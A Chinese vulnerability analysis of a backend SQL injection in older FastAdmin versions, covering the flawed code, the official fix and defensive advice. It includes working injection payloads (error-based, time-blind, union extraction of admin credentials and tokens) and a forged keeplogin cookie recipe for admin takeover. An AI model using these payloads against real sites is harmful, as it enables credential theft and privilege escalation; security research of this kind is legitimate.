fastadmin 后台注入分析
字数 1293 2025-08-20 18:18:05
FastAdmin 后台注入漏洞分析与利用
0x01 漏洞概述
FastAdmin 是一款基于 ThinkPHP 和 Bootstrap 的极速后台开发框架。在 V1.0.0.20191212_beta 及以下版本中存在后台 SQL 注入漏洞,攻击者可以利用该漏洞在低权限情况下获取管理员凭证,进而提升权限并最终获取系统控制权。
0x02 漏洞影响版本
- V1.0.0.20191212_beta 及以下版本
0x03 FastAdmin 鉴权机制分析
FastAdmin 的鉴权流程主要通过 /application/common/controller/Backend.php 文件实现:
protected $noNeedLogin = []; // 无需登录即可访问的方法
protected $noNeedRight = []; // 无需鉴权即可访问的方法
public function _initialize()
{
// 获取当前请求的模块、控制器和方法
$modulename = $this->request->module();
$controllername = Loader::parseName($this->request->controller());
$actionname = strtolower($this->request->action());
$path = str_replace('.', '/', $controllername) . '/' . $actionname;
// 检测是否需要验证登录
if (!$this->auth->match($this->noNeedLogin)) {
// 检测是否登录
if (!$this->auth->isLogin()) {
// 未登录处理逻辑
}
// 判断是否需要验证权限
if (!$this->auth->match($this->noNeedRight)) {
// 判断控制器和方法是否有对应权限
if (!$this->auth->check($path)) {
// 无权限处理逻辑
}
}
}
}
各控制器会继承 Backend 类并定义自己的 $noNeedLogin 和 $noNeedRight 数组。
0x04 漏洞定位与分析
漏洞位于 /application/admin/controller/Ajax.php 文件中的 weigh 方法:
public function weigh()
{
// 获取用户输入参数,未经过滤
$ids = $this->request->post("ids");
$changeid = $this->request->post("changeid");
$field = $this->request->post("field");
$table = $this->request->post("table"); // 可控参数
$pk = $this->request->post("pk"); // 可控参数
$orderway = strtolower($this->request->post("orderway", ""));
// 直接拼接SQL语句
$list = Db::name($table)->field("$prikey,$field")->where($prikey, 'in', $ids)->order($field, $orderway)->select();
}
关键问题:
$table和$pk参数直接从用户输入获取,未经过滤- 参数直接拼接到 SQL 语句中执行
0x05 漏洞利用步骤
第一步:发现注入点
通过构造特殊请求触发 SQL 注入:
POST /admin/ajax/weigh HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded
ids=2,4,1,3,5,6,8,9,7,10,11,12,13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category union select 1,updatexml(1,concat(0x7e,(select user()),0x7e),1)%23
第二步:时间盲注利用
当应用调试模式关闭时,可使用时间盲注:
ids=2,4,1,3,5,6,8,9,7,10,11,12,13&changeid=1&pid=1&field=weigh&orderway=desc&pk=type&table=category+where+id=1+and+if(ascii(substr(database(),1,1)) in (0x66),sleep(2),1)%23
第三步:获取管理员凭证
通过注入获取 fa_admin 表中的管理员信息:
table=category union select 1,concat(id,0x7c,username,0x7c,password,0x7c,salt,0x7c,token) from fa_admin limit 1%23
第四步:构造自动登录 Cookie
FastAdmin 的自动登录机制通过 keeplogin cookie 实现:
// 自动登录验证逻辑
$keeplogin = Cookie::get('keeplogin');
list($id, $keeptime, $expiretime, $key) = explode('|', $keeplogin);
if ($key == md5(md5($id) . md5($keeptime) . md5($expiretime) . $admin->token)) {
// 自动登录成功
}
构造步骤:
- 通过注入获取
id和token - 设置
keeptime(如86400) - 设置
expiretime(需大于当前时间) - 计算
key= md5(md5(\(id) . md5(\)keeptime) . md5(\(expiretime) . \)token) - 构造
keeplogin= "\(id|\)keeptime|\(expiretime|\)key"
示例:
id = 1
keeptime = 86400
expiretime = 1601902475
token = 43e78cd9-b16b-4f27-9648-d60fd0e9b464
key = md5(md5(1) + md5(86400) + md5(1601902475) + token) = 1fe1e4fc538e66089c4e24ed3b8e4c8c
keeplogin = 1|86400|1601902475|1fe1e4fc538e66089c4e24ed3b8e4c8c
第五步:获取后台权限
设置构造的 keeplogin cookie 后刷新页面即可自动登录管理员账户。
0x06 漏洞修复方案
官方在后续版本中修复了此漏洞:
$table = $this->request->post("table");
if (!Validate::is($table, "alphaDash")) {
$this->error();
}
修复要点:
- 对
$table参数进行严格过滤,只允许字母、数字、下划线和破折号 - 在 V1.2.0.20201001_beta 版本中也对
$pk参数进行了过滤
0x07 防御建议
- 及时升级到最新版本
- 对所有用户输入进行严格的过滤和验证
- 使用预处理语句或ORM代替直接SQL拼接
- 限制数据库用户的权限
- 关闭错误回显,避免泄露敏感信息
0x08 总结
该漏洞展示了如何通过低权限的SQL注入点获取高权限凭证的技术路线,关键点在于:
- 发现未过滤的参数直接拼接到SQL语句中
- 利用注入获取管理员token等关键信息
- 理解系统自动登录机制并构造有效cookie
- 最终实现权限提升和系统控制
这种从低权限注入到高权限获取的技术路线在渗透测试中具有典型意义,值得安全研究人员深入理解和学习。